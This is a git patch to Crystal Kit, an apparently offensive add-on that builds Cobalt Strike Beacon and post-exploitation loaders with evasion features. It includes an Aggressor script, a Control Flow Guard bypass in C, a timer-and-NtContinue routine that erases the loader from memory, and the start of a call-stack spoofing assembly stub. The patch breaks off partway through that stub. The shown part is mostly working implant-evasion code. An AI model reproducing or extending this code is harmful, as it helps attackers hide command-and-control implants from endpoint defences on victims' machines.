From defeef68df6e95440a6cd8559d4459bf1606d598 Mon Sep 17 00:00:00 2001 From: Rasta Mouse Date: Wed, 3 Dec 2025 15:11:21 +0000 Subject: [PATCH] big update --- Makefile | 10 +- README.md | 14 +- crystalkit.cna | 114 ++-- libtcg.x64.zip | Bin 3951 -> 4684 bytes libtp.x64.zip | Bin 663 -> 0 bytes loader/Makefile | 22 + loader/bin/draugr.x64.bin | Bin 0 -> 256 bytes loader/loader.spec | 43 ++ loader/pico.spec | 69 +++ loader/services.spec | 8 + loader/src/cfg.c | 78 +++ loader/src/cfg.h | 38 ++ loader/src/cleanup.c | 92 +++ loader/src/cleanup.h | 1 + loader/src/draugr.asm | 147 +++++ loader/src/hooks.c | 420 ++++++++++++++ loader/src/loader.c | 146 +++++ loader/src/loader.h | 11 + loader/src/mask.c | 72 +++ loader/src/mask.h | 1 + loader/src/memory.h | 17 + loader/src/pico.c | 93 +++ loader/src/services.c | 29 + loader/src/spoof.c | 390 +++++++++++++ loader/src/spoof.h | 10 + {udrl => loader}/src/tcg.h | 43 +- local-loader/Makefile | 22 + local-loader/bin/draugr.x64.bin | Bin 0 -> 256 bytes local-loader/loader.spec | 46 ++ local-loader/pico.spec | 69 +++ local-loader/services.spec | 7 + local-loader/src/cfg.c | 78 +++ local-loader/src/cfg.h | 38 ++ local-loader/src/cleanup.c | 92 +++ local-loader/src/cleanup.h | 1 + local-loader/src/draugr.asm | 147 +++++ local-loader/src/hooks.c | 420 ++++++++++++++ local-loader/src/loader.c | 146 +++++ local-loader/src/loader.h | 11 + local-loader/src/mask.c | 72 +++ local-loader/src/mask.h | 1 + local-loader/src/memory.h | 17 + local-loader/src/pico.c | 93 +++ local-loader/src/services.c | 15 + local-loader/src/spoof.c | 390 +++++++++++++ local-loader/src/spoof.h | 10 + {postex-udrl => local-loader}/src/tcg.h | 43 +- postex-loader/Makefile | 21 + postex-loader/bin/draugr.x64.bin | Bin 0 -> 256 bytes postex-loader/loader.spec | 48 ++ postex-loader/pico.spec | 35 ++ postex-loader/services.spec | 7 + postex-loader/src/cfg.c | 78 +++ postex-loader/src/cfg.h | 38 ++ postex-loader/src/cleanup.c | 95 ++++ postex-loader/src/cleanup.h | 1 + postex-loader/src/draugr.asm | 147 +++++ postex-loader/src/hash.h | 1 + postex-loader/src/hooks.c | 210 +++++++ postex-loader/src/loader.c | 146 +++++ postex-loader/src/loader.h | 11 + postex-loader/src/memory.h | 17 + postex-loader/src/pico.c | 65 +++ postex-loader/src/services.c | 15 + postex-loader/src/spoof.c | 386 +++++++++++++ postex-loader/src/spoof.h | 9 + postex-loader/src/tcg.h | 102 ++++ postex-udrl/Makefile | 14 - postex-udrl/loader.spec | 36 -- postex-udrl/src/cfg.h | 115 ---- postex-udrl/src/hash.h | 88 --- postex-udrl/src/hook.c | 720 ------------------------ postex-udrl/src/hook.h | 433 -------------- postex-udrl/src/loader.c | 250 -------- postex-udrl/src/loader.h | 69 --- postex-udrl/src/memory.h | 48 -- postex-udrl/src/proxy.c | 122 ---- postex-udrl/src/proxy.h | 50 -- postex-udrl/src/tp.h | 41 -- udrl/Makefile | 14 - udrl/loader.spec | 37 -- udrl/src/cfg.h | 115 ---- udrl/src/hash.h | 87 --- udrl/src/hook.c | 695 ----------------------- udrl/src/hook.h | 422 -------------- udrl/src/loader.c | 270 --------- udrl/src/loader.h | 57 -- udrl/src/memory.h | 48 -- udrl/src/proxy.c | 122 ---- udrl/src/proxy.h | 50 -- udrl/src/tp.h | 41 -- 91 files changed, 4941 insertions(+), 4021 deletions(-) delete mode 100644 libtp.x64.zip create mode 100644 loader/Makefile create mode 100644 loader/bin/draugr.x64.bin create mode 100644 loader/loader.spec create mode 100644 loader/pico.spec create mode 100644 loader/services.spec create mode 100644 loader/src/cfg.c create mode 100644 loader/src/cfg.h create mode 100644 loader/src/cleanup.c create mode 100644 loader/src/cleanup.h create mode 100644 loader/src/draugr.asm create mode 100644 loader/src/hooks.c create mode 100644 loader/src/loader.c create mode 100644 loader/src/loader.h create mode 100644 loader/src/mask.c create mode 100644 loader/src/mask.h create mode 100644 loader/src/memory.h create mode 100644 loader/src/pico.c create mode 100644 loader/src/services.c create mode 100644 loader/src/spoof.c create mode 100644 loader/src/spoof.h rename {udrl => loader}/src/tcg.h (85%) create mode 100644 local-loader/Makefile create mode 100644 local-loader/bin/draugr.x64.bin create mode 100644 local-loader/loader.spec create mode 100644 local-loader/pico.spec create mode 100644 local-loader/services.spec create mode 100644 local-loader/src/cfg.c create mode 100644 local-loader/src/cfg.h create mode 100644 local-loader/src/cleanup.c create mode 100644 local-loader/src/cleanup.h create mode 100644 local-loader/src/draugr.asm create mode 100644 local-loader/src/hooks.c create mode 100644 local-loader/src/loader.c create mode 100644 local-loader/src/loader.h create mode 100644 local-loader/src/mask.c create mode 100644 local-loader/src/mask.h create mode 100644 local-loader/src/memory.h create mode 100644 local-loader/src/pico.c create mode 100644 local-loader/src/services.c create mode 100644 local-loader/src/spoof.c create mode 100644 local-loader/src/spoof.h rename {postex-udrl => local-loader}/src/tcg.h (85%) create mode 100644 postex-loader/Makefile create mode 100644 postex-loader/bin/draugr.x64.bin create mode 100644 postex-loader/loader.spec create mode 100644 postex-loader/pico.spec create mode 100644 postex-loader/services.spec create mode 100644 postex-loader/src/cfg.c create mode 100644 postex-loader/src/cfg.h create mode 100644 postex-loader/src/cleanup.c create mode 100644 postex-loader/src/cleanup.h create mode 100644 postex-loader/src/draugr.asm create mode 100644 postex-loader/src/hash.h create mode 100644 postex-loader/src/hooks.c create mode 100644 postex-loader/src/loader.c create mode 100644 postex-loader/src/loader.h create mode 100644 postex-loader/src/memory.h create mode 100644 postex-loader/src/pico.c create mode 100644 postex-loader/src/services.c create mode 100644 postex-loader/src/spoof.c create mode 100644 postex-loader/src/spoof.h create mode 100644 postex-loader/src/tcg.h delete mode 100644 postex-udrl/Makefile delete mode 100644 postex-udrl/loader.spec delete mode 100644 postex-udrl/src/cfg.h delete mode 100644 postex-udrl/src/hash.h delete mode 100644 postex-udrl/src/hook.c delete mode 100644 postex-udrl/src/hook.h delete mode 100644 postex-udrl/src/loader.c delete mode 100644 postex-udrl/src/loader.h delete mode 100644 postex-udrl/src/memory.h delete mode 100644 postex-udrl/src/proxy.c delete mode 100644 postex-udrl/src/proxy.h delete mode 100644 postex-udrl/src/tp.h delete mode 100644 udrl/Makefile delete mode 100644 udrl/loader.spec delete mode 100644 udrl/src/cfg.h delete mode 100644 udrl/src/hash.h delete mode 100644 udrl/src/hook.c delete mode 100644 udrl/src/hook.h delete mode 100644 udrl/src/loader.c delete mode 100644 udrl/src/loader.h delete mode 100644 udrl/src/memory.h delete mode 100644 udrl/src/proxy.c delete mode 100644 udrl/src/proxy.h delete mode 100644 udrl/src/tp.h diff --git a/Makefile b/Makefile index ec32615..c12246c 100644 --- a/Makefile +++ b/Makefile @@ -1,7 +1,9 @@ all: - cd udrl && make $@ - cd postex-udrl && make $@ + cd loader && make $@ + cd local-loader && make $@ + cd postex-loader && make $@ clean: - cd udrl && make $@ - cd postex-udrl && make $@ + cd loader && make $@ + cd local-loader && make $@ + cd postex-loader && make $@ diff --git a/README.md b/README.md index 14157c1..730f171 100644 --- a/README.md +++ b/README.md @@ -1,22 +1,21 @@ # Crystal Kit -This repo is a technical and social experiment to see if replacing Cobalt Strike's evasion primitives (Sleepmask/BeaconGate) with Crystal Palace PIC is feasible (or even desirable) for advanced evasion scenarios. Also see the accompanying [blog post](https://rastamouse.me/crystal-kit/). +This repo is a technical and social experiment to explore whether replacing Cobalt Strike's evasion primitives (Sleepmask/BeaconGate) with a [Crystal Palace](https://tradecraftgarden.org/) PICO is feasible (or even desirable) for advanced evasion scenarios. ## Usage -1. Disable the Sleepmask and stage obfuscations in Malleable C2. +1. Disable the sleepmask and stage obfuscations in Malleable C2. ```text stage { - set rdll_loader "PrependLoader"; - set sleep_mask "false"; - set cleanup "true"; - + set sleep_mask "false"; + set cleanup "true"; transform-obfuscate { } } post-ex { set cleanup "true"; + set smartinject "true"; } ``` @@ -25,4 +24,5 @@ post-ex { ### Notes -Tested on CS 4.11.1. \ No newline at end of file +- Tested on Cobalt Strike 4.12. +- Can work with any post-ex DLL capability. diff --git a/crystalkit.cna b/crystalkit.cna index f91383a..f97b4b4 100644 --- a/crystalkit.cna +++ b/crystalkit.cna @@ -1,39 +1,37 @@ +debug ( 7 ); + import crystalpalace.spec.* from: crystalpalace.jar; import java.util.HashMap; sub print_info { - println(formatDate("[HH:mm:ss] ") . "\cE[Crystal Kit]\o " . $1); + println ( formatDate ( "[HH:mm:ss] " ) . "\cE[Crystal Kit]\o " . $1 ); } -set BEACON_RDLL_GENERATE { - local('$beacon $arch $file_path $spec $final'); +set BEACON_RDLL_GENERATE +{ + local ( '$beacon $arch $spec_path $spec $final' ); $beacon = $2; $arch = $3; - if ($arch eq "x86") { - warn("Crystal Kit is x64 only"); + if ( $arch eq "x86" ) + { + warn ( "Crystal Kit is x64 only" ); return $null; } - # get path to spec file - $file_path = getFileProper(script_resource("udrl"), "loader.spec"); + print_info ( "BEACON_RDLL_GENERATE" ); - # parse the spec - print_info("Parsing $+ $file_path $+ ..."); - $spec = [LinkSpec Parse: $file_path]; + $spec_path = getFileProper ( script_resource ( "loader" ), "loader.spec" ); + $spec = [ LinkSpec Parse: $spec_path ]; + $final = [ $spec run: $beacon, [ new HashMap ] ]; - # apply the spec - print_info("Applying spec..."); - $final = [$spec run: $beacon, [new HashMap]]; - - if (strlen($final) == 0) { - warn("Failed to build payload"); + if ( strlen ( $final ) == 0 ) + { + warn ( "Failed to build payload" ); return $null; } - print_info("Payload Size: " . strlen($final) . " bytes"); - return $final; } @@ -41,34 +39,74 @@ set BEACON_RDLL_SIZE { return "0"; } -set POSTEX_RDLL_GENERATE { - local('$postex $arch $file_path $spec $final'); - - $postex = $2; - $arch = $3; +set BEACON_RDLL_GENERATE_LOCAL +{ + local ( '$beacon $arch $gmh $gpa $spec_path $spec $hash_map $final' ); - if ($arch eq "x86") { - warn("Crystal Kit is x64 only"); + $beacon = $2; + $arch = $3; + $gmh = $5; + $gpa = $6; + + if ( $arch eq "x86" ) + { + warn ( "Crystal Kit is x64 only" ); return $null; } - # get path to spec file - $file_path = getFileProper(script_resource("postex-udrl"), "loader.spec"); + print_info ( "BEACON_RDLL_GENERATE_LOCAL" ); - # parse the spec - print_info("Parsing $+ $file_path $+ ..."); - $spec = [LinkSpec Parse: $file_path]; + $spec_path = getFileProper ( script_resource ( "local-loader" ), "loader.spec" ); + $spec = [ LinkSpec Parse: $spec_path ]; - # apply the spec - print_info("Applying spec..."); - $final = [$spec run: $postex, [new HashMap]]; + $hash_map = [ new HashMap ]; - if (strlen($final) == 0) { - warn("Failed to build package"); + [ $hash_map put: "\$GMH", cast ( $gmh, 'b' ) ]; + [ $hash_map put: "\$GPA", cast ( $gpa, 'b' ) ]; + + $final = [ $spec run: $beacon, $hash_map ]; + + if ( strlen ( $final ) == 0 ) + { + warn ( "Failed to build payload" ); + return $null; + } + + return $final; +} + +set POSTEX_RDLL_GENERATE +{ + local ( '$postex $arch $gmh $gpa $spec_path $spec $hash_map $final' ); + + $postex = $2; + $arch = $3; + $gmh = $5; + $gpa = $6; + + if ( $arch eq "x86" ) + { + warn ( "Crystal Kit is x64 only" ); + return $null; + } + + print_info ( "POSTEX_RDLL_GENERATE" ); + + $spec_path = getFileProper ( script_resource ( "postex-loader" ), "loader.spec" ); + $spec = [ LinkSpec Parse: $spec_path ]; + + $hash_map = [ new HashMap ]; + + [ $hash_map put: "\$GMH", cast ( $gmh, 'b' ) ]; + [ $hash_map put: "\$GPA", cast ( $gpa, 'b' ) ]; + + $final = [ $spec run: $postex, $hash_map ]; + + if ( strlen ( $final ) == 0 ) + { + warn ( "Failed to build package" ); return $null; } - print_info("Final Size: " . strlen($final) . " bytes"); - return $final; -} \ No newline at end of file +} diff --git a/libtcg.x64.zip b/libtcg.x64.zip index 1f1a1f2ccabc9eac0aaf6217c4c16f3ee5501c6c..1bd5027d237f9ef1f765847bc2d3508c2cb80517 100644 GIT binary patch delta 2459 zcmZ8jc{tSDAO6lNW{j<5H$-VXGBc*+8Is0RY$o1W<`o zUYR{Td2)Wc@jy!y4B5eGw%`MMp6&p<@h}Sf0ZQ6I&+%s}7UnX10Qu)k7!d)0pqw4<-%Bk1q_2?i-rU|Ge@1(ZZBabN7-K#lLPDKM zG<{iTXDN>FRh*FE2u**Kam+wiMuPt}QLB*882aTF%++oqj8MtO|i-+b)awX4hB`=xcl{6m4a^b zxrA9qWABrpoJj=heRjE1#NNE4Pbw|`ILfZHnwnJh!}s3o?EZ2i5~%yLsJU}c39R&; zlB)!AzISA4hVsTc#jG}c%y93sM3N8((-&m)OdyKsT{OL4%hkp1!vylG``H+1m5OH? zMx^@2GEXj%WPF7!RNZ%)ES;pfWl)zacYe{?eIIP(`fys&6j$CWeFMmJM*Nzg`zfYk z*F5{+ot#^~j-u}*a&JfQcQH@3SVcm7`>-&Xvy9Ke!fFm=Wx7-xCi${h;)M=L9Z4F! zmtHo6se><)z0#Z`b=lp1>zOsz=t@6`mQEQpi;w`4WU4@bx_?&o#X36vir(pKFNe{k z;gg<-?eXwnoNJ5Cj6@~%sK$F46|`>3wJvqxue}~gon`wPef!MA?w2O$pzHwvgEeCcwNsfaoLe)Es%s913J^X#NAFx%~p z24kMkQqiVb(NgkrbPi z5gGKtb^X0XP01A@rzQ?1Fmif%N&J_haE?t^RvZTdKp+eN1a`hU4UQ20SrKS*2qRv{ z5J$wL-xP^!;>-4eY1W@b%8f><3`HT6EH zfs=B(m^xqKte63&Nn}s6O-q?seeoB+3gRrQB1`^dl_Mem7}8TUm7Gw+l=~Y5Q%=ns@8sY$(czY zEN1mx>Z=m!m(%B@^hkESDq7Uq%jHAS=SLD6Q7!zmjidT8O7o%wiDlHbNvSuN_*$$cZiC8W`TjP(Sa8~muy3TT^$4mn1K z>HU@qo5@w6TThUZmV9(1zT=Xw&%2dYpFH`r*8Te14F;SNzh4dNebq;O0ziHaNdTpO%#3%+mx)GqX7)Dv?jYpA-ne4yt5%B5f4rzXLEFwSK)T*pFkpS z5QGsFH!FWLZipZOny9Xx55VHc&`0#PG*kE{J6h&7+08aY4djL7MThNUz^%zHtuaBl z(G)jOF;+Cco}b}N(qdqvghI77RMQFR`(N|V4Q#x)w~<1&D5*B`VYG#e7^3^7u5Gmd z#Z6?!h|@&XdHpmMVrT;oQPu7BR0q3x!9*K3Q_z>B$0I%}uK#sJdR6DE$@FW)k5eOt zMj1U2>1_>FU#U6d)^lFdD#QDVTOhiz!q&jYZ?OWtw7PPV=^1I<``3`@zT@bN%0x|R zft$x9#E_wk7>i4(JY97>4aTSDleZwDiYm8;vcDadVsQJq&bB-)!K#Ex!LbgYcf(O! zB76~=4H#7um@|r=%V`8@+R0+qRS$4!D8}<6G&}&+GM1AmD`SkFjx^GT#|=FT20v#L zra`u!`bd3edBi?lFUaJH>!_c}2=6c#S$@LP*2AuadV~O0L8?hy$_D|T1h&`Op!yZt z0`E--+#2iQXXTyhre43XiOUoaDL;|Sso_V%!n7TEt;^tk1aD9Fv-s@7479&0aM|Cx zqX>Rj{vmnDl2B%B-ChxVG(cp|K3`MZF=bDjdZR&Ch3qXS3?7e1CLGo+HR~{MFJd9h zHq7EWL=)OYyFLRr8xU9u^3%o8#84{GU2V|vQR07Fn2RVi=&l{v1yH}b7upll!Jj$w zZtmA|C$i&>{x`OxjSw_tK9Qen=Uw)$M*lC-f3tm1z%PP@0g&BC{YR`g8yI}|e%Q{; L-I01a|L*QD@S{Ob delta 1758 zcmZ9Nc{JNu6vuxO8e5D+Yl&2drK;#MIYAdCXc06WDPyf7wh_@-s3#&;l9(er!4ewIao=7ec`suOGr(`*I?fcFOg016<1 zKwl3EH6%bc42#jFTp@}9;C}~&gh>EG!u&n&ml8{~wvsVE$eIf%smsJ3fTOB{#B^MH)O!dU7CANd3U&u6Vx1{RgzhCfjK@eYlK_ zxq)=`+QaoX!Ig{LJcfVGpR3h>&Q$YW4d!DTrApAjEIj&?*JPPOFjY;cKt3Z;(Sk8H zNc0jH>;BjyF82 zEVKRFA4$wR7ba59#KCDG$tyznmbEqyNy(?hbQ!yeLGD?-3Wt2e{d&M?`H$nOs~62$ zY|_Wq0w2NjJU8z6w#ene&J)fNj75kRu6_9i*e>Z%?SNuwLS2=k9%MNtGbDNuJi?;y zq(Pud(%74V(KC7BI-?7EuS4ftRTeN|H?=3U*1n@eCY2W{$Ivd7_39*Vh?OIw8rGf4 zG=@u8Y!N=ejg;($&c-$1ktkwm#qnfPob^L?nsCw6M-SZWo^{MWhOQS3T{fwf zdG*aF&3kmad+42tu}ZV{U+28~)8UTMOdg#n+dMhk8vp%3Gif@qSS4KxOLkMQ4cREH zqT@KH0#v)-(v%C2O%dGhPaJ25%>!5`eQ}qT$0sl*)9Rb2XGC3?g?)aeaoW+|iJH!b zA3r`JFy-6h^k_veNAy~=W?{XzurXCN?^D5bl1g~oRlR3F1wKWiO6y$%VDNXLb)n7` zL(1_ENzuEklm<)SbZSO~B<%SQC-_~)(*?4nY%kqF+KNjp4vD(5iRRpGsPQWYWsF}N z-)guhGZG8pirHo14;J5%mesM-nB)6}FTjUa%+#zLa}~hZQ6FkrmeV&rlUkUE5s7tD z^B|_NTbq1qUvn+ES+IS|= zPfKG?cB;wCLZoAcWY|O|zi0NhHCgNICU^|?pl8?0sgjDrZ3g}qN1VcbIIb_m-`p@z@l~x6{4l-;dRKBh& zBSOLmT0U7Udu!cpdA{P1PAa2S0&kWQv1zQaib6QLR~b<1g^Jmm;jdKGcN^Omy!Dq| zN1SWkoVn4hcT_6a6bb7EA{{Wg3nnN}n z3UWpj*@?-l(d#>yPk;Hgd(2WeP3|%l$DTVD_J@aR^l2WoHT%GQIU4plJ%1?%@1M&! z)rXtsaHZ-38*m9__N}yS$VVjTmv^@b-@*hPaf6p3T9qZau_8QqxmHETt(Kmir|>+S z#VaeWb_UldSI4#;)keINEZ#d|t0ZR}BhHPM+j5SM%JGC44vUIS>pFx$M$I_Rwbp9n znZEiWw);ZmOPkW;#+|uIzQ-1MLM88};k~nC#Ou%-KOO$f_W|vms_1*8W=o^9bg;R+ z`w!SCcFs-d%p8fCmG16#s?RPx^n&5}hz$p{K}6kZ&BBjS;>!JGm1P@hQi9Zpl%4be zv6>?<2BzK4B@Qes(x>7ac%6c>*e(-h|F=(vo@_^+%Y?qw4^aVkqU(2%8(a-Azx z2egeE7ZYQS)C*{EQD!fzPauAeHub_4K+Q`29^}k>d!@GEvw&Q6Eqo)$hB6YRmf6Yo zkdf)P?T){h7m<^dC7ez9**e#~!a*=xg?MvzvUc5>s*z=`PHr(n4U~CI zB&qjoTVc~!7i$0lUI?TF{t5~wrP+;L0K_Pg))e0V=NY$QieF%{DSc9S9~Aq7)PFg_ zu!CuQHDBBBeR;4T03eG101S}dqtHL`IhrpH08~;C#XppEm2@rmU#f@z;QitMBMJd8 TvIn6(yzCttApnq&+Q0n`pe!k) diff --git a/libtp.x64.zip b/libtp.x64.zip deleted file mode 100644 index 76b7ab542fb2f56d4d056f615559c81ecd85b820..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 663 zcmWIWW@Zs#U|`^2*iq&ez3Fj-(nm%HhI|%~hzvtXfnJ4~iC%ta2qy#c>(F-@AY59( z&A`a=f|-E)y=7qoWZbiwS#E@L&tW5MYGc%EC_E{<;T>~&v136f#Z*yfYM)T zE2=~re(<$bGV;mIoo>5prtPl1mNvVZS!;I9Rjt{zSF~nVGjENRa|llZ53hjp%K%q$uF)7nexAkMn@J~ha6aZ{cHPUKY{a`KR3CrfAQ)6|Nqq`a$jDg zv3CC5|KQ@=U(9p&bFY!?U&JYQ)}1Gb-`{~%LEoUrU~>`6MgwCuhd&EXH!Ki0a(Hy& z?#-KCj)(8+hXfzI5V76H`1}oyqwhaD=x~J1=2vMwutrQllPArWagtKNWC;lez9hEI ziaLA>CwbF89yrSKKu2)Lnz*PmKdmeK>i(OK5V(v$OonmTgLY%l{iiS@z?EK}~`PrkpMn%D+yF^99r!!o_r!zjnr!zglr!zmpr?b4kr?bAov-60r;ccJp z92En{eGE(t44%!$IDDAPEr8enh!s4W-zj)@KJsinWZ-M~-_`PUi4;(X!?W|bujY54 zD2L;JBgcMr&*sC7ukU#@z5$t$#o(cxZsF4%@8HuZqXJ|r0NFq%fY}B>b^wSCbRW<) z93GwV0v^4x0t^fc9-Z +#include "cfg.h" + +DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG ); +DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T ); +DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG ); + +BOOL cfg_enabled ( ) +{ + EXTENDED_PROCESS_INFORMATION proc_info = { 0 }; + + NTSTATUS status = 0; + + proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy; + proc_info.ExtendedProcessInfoBuffer = 0; + + status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL ); + + if ( ! NT_SUCCESS ( status ) ) { + return FALSE; + } + + return proc_info.ExtendedProcessInfoBuffer; +} + +BOOL bypass_cfg ( PVOID address ) +{ + MEMORY_BASIC_INFORMATION mbi = { 0 }; + VM_INFORMATION vmi = { 0 }; + MEMORY_RANGE_ENTRY mre = { 0 }; + CFG_CALL_TARGET_INFO cti = { 0 }; + + NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 ); + + if ( ! NT_SUCCESS ( status ) ) { + return FALSE; + } + + if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) { + return FALSE; + } + + cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress; + cti.Flags = CFG_CALL_TARGET_VALID; + + mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize; + mre.VirtualAddress = ( PVOID ) mbi.BaseAddress; + + ULONG output = 0; + + vmi.dwNumberOfOffsets = 0x1; + vmi.plOutput = &output; + vmi.ptOffsets = &cti; + vmi.pMustBeZero = 0x0; + vmi.pMoarZero = 0x0; + + status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) ); + + if ( status == 0xC00000F4 ) + { + /* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */ + status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 ); + } + + if ( ! NT_SUCCESS ( status ) ) + { + /* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */ + if ( status == 0xC0000045 ) + { + /* pretend we bypassed it so timers can continue */ + return TRUE; + } + + return FALSE; + } + + return TRUE; +} diff --git a/loader/src/cfg.h b/loader/src/cfg.h new file mode 100644 index 0000000..155829a --- /dev/null +++ b/loader/src/cfg.h @@ -0,0 +1,38 @@ +#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 ) +#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 ) + +typedef struct { + ULONG ExtendedProcessInfo; + ULONG ExtendedProcessInfoBuffer; +} EXTENDED_PROCESS_INFORMATION; + +typedef enum { + ProcessUserModeIOPL = 16, + ProcessCookie = 36 +} PROCESSINFOCLASS; + +typedef struct { + DWORD dwNumberOfOffsets; + PULONG plOutput; + PCFG_CALL_TARGET_INFO ptOffsets; + PVOID pMustBeZero; + PVOID pMoarZero; +} VM_INFORMATION; + +typedef enum { + VmPrefetchInformation, + VmPagePriorityInformation, + VmCfgCallTargetInformation +} VIRTUAL_MEMORY_INFORMATION_CLASS; + +typedef struct { + PVOID VirtualAddress; + SIZE_T NumberOfBytes; +} MEMORY_RANGE_ENTRY; + +typedef enum { + MemoryBasicInformation +} MEMORY_INFORMATION_CLASS; + +BOOL cfg_enabled ( ); +BOOL bypass_cfg ( PVOID address ); \ No newline at end of file diff --git a/loader/src/cleanup.c b/loader/src/cleanup.c new file mode 100644 index 0000000..75f3069 --- /dev/null +++ b/loader/src/cleanup.c @@ -0,0 +1,92 @@ +#include +#include "memory.h" +#include "cfg.h" +#include "spoof.h" +#include "tcg.h" + +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG ); +DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD ); +DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( ); +DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T ); +DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT ); +DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD ); +DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD ); + +DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN ); + +#define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z ); + +#define NTDLL_HASH 0x3CFA685D +#define VIRTUALFREE_HASH 0x30633AC + +void cleanup_memory ( MEMORY_LAYOUT * memory ) +{ + /* is cfg enabled? */ + BOOL enabled = cfg_enabled ( ); + + if ( enabled ) { + /* try to bypass it at NtContinue */ + if ( bypass_cfg ( NTDLL$NtContinue ) ) { + enabled = FALSE; + } + } + + /* + * just return if we + * failed to bypass it + */ + + if ( enabled ) { + return; + } + + /* + * crack on and setup a timer + * to free the memory regions + */ + + CONTEXT ctx = { 0 }; + ctx.ContextFlags = CONTEXT_ALL; + + HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL; + + if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) + { + /* give RtlCaptureContext a chance to run */ + KERNEL32$Sleep ( 100 ); + + if ( ctx.Rip != 0 ) + { + HANDLE heap = KERNEL32$GetProcessHeap ( ); + CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * 2 ); + + for ( int i = 0; i < 2; i++ ) { + memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) ); + } + + /* + * we use VirtualFree here because + * the loader uses VirtualAlloc + */ + + /* the dll */ + ctx_free[ 0 ].Rsp -= sizeof ( PVOID ); + ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); + ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress ); + ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 ); + ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); + + /* this pico */ + ctx_free[ 1 ].Rsp -= sizeof ( PVOID ); + ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree ); + ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.BaseAddress ); + ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 ); + ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE ); + + /* give a decent delay so ExitThread has time to be called */ + KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); + KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD ); + } + } +} diff --git a/loader/src/cleanup.h b/loader/src/cleanup.h new file mode 100644 index 0000000..65c0861 --- /dev/null +++ b/loader/src/cleanup.h @@ -0,0 +1 @@ +void cleanup_memory ( MEMORY_LAYOUT * memory ); diff --git a/loader/src/draugr.asm b/loader/src/draugr.asm new file mode 100644 index 0000000..a736300 --- /dev/null +++ b/loader/src/draugr.asm @@ -0,0 +1,147 @@ +[BITS 64] + + draugr_stub: + pop rax ; Real return address in rax + + mov r10, rdi ; Store OG rdi in r10 + mov r11, rsi ; Store OG rsi in r11 + + mov rdi, [ rsp + 32 ] ; Storing struct in rdi + mov rsi, [ rsp + 40 ] ; Storing function to call + + ; --------------------------------------------------------------------- + ; Storing our original registers + ; --------------------------------------------------------------------- + + mov [ rdi + 24 ], r10 ; Storing OG rdi into param + mov [ rdi + 88 ], r11 ; Storing OG rsi into param + mov [ rdi + 96 ], r12 ; Storing OG r12 into param + mov [ rdi + 104 ], r13 ; Storing OG r13 into param + mov [ rdi + 112 ], r14 ; Storing OG r14 into param + mov [ rdi + 120 ], r15 ; Storing OG r15 into param + + mov r12, rax ; OG code used r12 for ret addr + + ; --------------------------------------------------------------------- + ; Prepping to move stack args + ; 